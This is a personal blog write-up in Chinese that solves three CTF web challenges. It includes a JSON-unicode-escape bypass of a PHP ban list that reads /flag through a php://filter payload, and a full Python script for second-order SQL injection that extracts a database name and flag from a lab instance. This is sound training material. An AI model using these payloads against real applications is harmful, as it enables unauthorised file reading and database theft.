[CTF]WriteUp第30篇

[HarekazeCTF2019]encode_and_encode

思路

一进去就看到源码

源码如下

<?php
error_reporting(0);

if (isset($_GET['source'])) {
    show_source(__FILE__);
    exit();
}

function is_valid($str)
{
    $banword = [
        // no path traversal
        '\.\.',
        // no stream wrapper
        '(php|file|glob|data|tp|zip|zlib|phar):',
        // no data exfiltration
        'flag'
    ];
    $regexp = '/' . implode('|', $banword) . '/i';
    if (preg_match($regexp, $str)) {
        return false;
    }
    return true;
}

$body = file_get_contents('php://input');
$json = json_decode($body, true);

if (is_valid($body) && isset($json) && isset($json['page'])) {
    $page = $json['page'];
    $content = file_get_contents($page);
    if (!$content || !is_valid($content)) {
        $content = "<p>not found</p>\n";
    }
} else {
    $content = '<p>invalid request</p>';
}

// no data exfiltration!!!
$content = preg_replace('/HarekazeCTF\{.+\}/i', 'HarekazeCTF{&lt;censored&gt;}', $content);
echo json_encode(['content' => $content]);

要传一个json参数,打开文件

但我想不到绕过

解题

看WP,参考文献:[BUUOJ记录] [HarekazeCTF2019] encode_and_encode – Ye’sBlog – 博客园

源码的正则匹配是对json_decode之前的传参进行匹配
也就是说,只要json_encode之后能绕过这个正则就行
而json有个性质,会将\uXXXX转义为Unicode字符

写个str转\uXXXX格式的脚本

def json_encode(data: str):
    return ''.join(['\\u%04x' % ord(x) for x in str])

if __name__ == '__main__':
    str = input("String wait to be encoded: \n[ in]: ")
    # A -> \u0041
    print("[out]:", json_encode(str))
String wait to be encoded: 
[ in]: php://filter/read=convert.base64-encode/resource=/flag   
[out]: \u0070\u0068\u0070\u003a\u002f\u002f\u0066\u0069\u006c\u0074\u0065\u0072\u002f\u0072\u0065\u0061\u0064\u003d\u0063\u006f\u006e\u0076\u0065\u0072\u0074\u002e\u0062\u0061\u0073\u0065\u0036\u0034\u002d\u0065\u006e\u0063\u006f\u0064\u0065\u002f\u0072\u0065\u0073\u006f\u0075\u0072\u0063\u0065\u003d\u002f\u0066\u006c\u0061\u0067

注意

json的decode相关性质要了解


[网鼎杯 2020 半决赛]AliceWebsite

解题

刚想尝试一下发现秒了

注意

常规的方式要多试


[网鼎杯2018]Unfinish

思路

注册页面(看到login.php很自然就能想到register.php)

登陆页面

登陆后页面

那么,既然这里有username的回显,想必可以利用

解题

我们猜测sql的insert语句:

insert into tables values('$email', '$username', '$passwd');

那么,我们尝试:

username = 0' and '1
# 这样
insert into tables values('$email', '0' and '1', '$passwd');

成功!

这里贴出完整的脚本(表实在是爆不出来,都试过了

import requests
from lxml import etree
import time

url = "http://55178ade-f389-45f1-b679-55608b379d5b.node5.buuoj.cn:81/"
headers = {
    "User-Agent": "User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/131.0.0.0 Safari/537.36 Edg/131.0.0.0"
}
login_page = "login.php"
register_page = "register.php"
email = "111@{}.com"
passwd = "111"
num = 1600

def getPayload(url, login_page, register_page, email, passwd, payload):
    session = requests.session()
    login_url = url + login_page
    register_url = url + register_page
    global num
    num += 1
    login_data = {
        "email": email.format(num),
        "password": passwd
    }
    register_data = {
        "email": email.format(num),
        "username": payload,
        "password": passwd
    }
    tmp = session.post(register_url, data=register_data, headers=headers)
    response = session.post(login_url, data=login_data, headers=headers).text
    # /html/body/nav/div/div/span
    res = etree.HTML(response).xpath("/html/body/nav/div/div/span/text()")
    if res:
        res = res[0]
    else:
        res = "0"
    return res.strip()

# # 爆库
# payload = "0' + (select ascii(substr(database() from {} for 1))) + '0"
# database = ''
# for i in range(1, 100):
#     time.sleep(0.2)
#     res = getPayload(url, login_page, register_page, email, passwd, payload.format(i))
#     letter = chr(int(res))
#     database += letter
#     print("[out]:", database)
#     # [out]: web

# # 爆表
# payload = "0' + (select ascii(substr((select group_concat(table_name) from sys.schema_table_statistics where table_schema=database()) from {} for 1))) + '0"
# tables = ''
# for i in range(1, 100):
#     time.sleep(0.2)
#     res = getPayload(url, login_page, register_page, email, passwd, payload.format(i))
#     letter = chr(int(res))
#     tables += letter
#     print("[out]:", tables)
#     # [out]: ???
    
# 爆字段
payload = "0' + (select ascii(substr((select * from flag) from {} for 1))) + '0"
tables = ''
for i in range(1, 100):
    time.sleep(0.2)
    res = getPayload(url, login_page, register_page, email, passwd, payload.format(i))
    letter = chr(int(res))
    tables += letter
    print("[out]:", tables)
    # [out]: flag{bb31ccb8-d4aa-47eb-8e6c-beeb4e1fa2a0}

注意

我以为是查询username时的二次注入,没想到是insert时,就已经插入了想要的值的注入
我对二次注入的理解还是不够深刻,要加强理解

暂无评论

发送评论 编辑评论


				
|´・ω・)ノ
ヾ(≧∇≦*)ゝ
(☆ω☆)
(╯‵□′)╯︵┴─┴
 ̄﹃ ̄
(/ω\)
∠( ᐛ 」∠)_
(๑•̀ㅁ•́ฅ)
→_→
୧(๑•̀⌄•́๑)૭
٩(ˊᗜˋ*)و
(ノ°ο°)ノ
(´இ皿இ`)
⌇●﹏●⌇
(ฅ´ω`ฅ)
(╯°A°)╯︵○○○
φ( ̄∇ ̄o)
ヾ(´・ ・`。)ノ"
( ง ᵒ̌皿ᵒ̌)ง⁼³₌₃
(ó﹏ò。)
Σ(っ °Д °;)っ
( ,,´・ω・)ノ"(´っω・`。)
╮(╯▽╰)╭
o(*////▽////*)q
>﹏<
( ๑´•ω•) "(ㆆᴗㆆ)
😂
😀
😅
😊
🙂
🙃
😌
😍
😘
😜
😝
😏
😒
🙄
😳
😡
😔
😫
😱
😭
💩
👻
🙌
🖕
👍
👫
👬
👭
🌚
🌝
🙈
💊
😶
🙏
🍦
🍉
😣
Source: github.com/k4yt3x/flowerhd
颜文字
Emoji
小恐龙
花!
上一篇
下一篇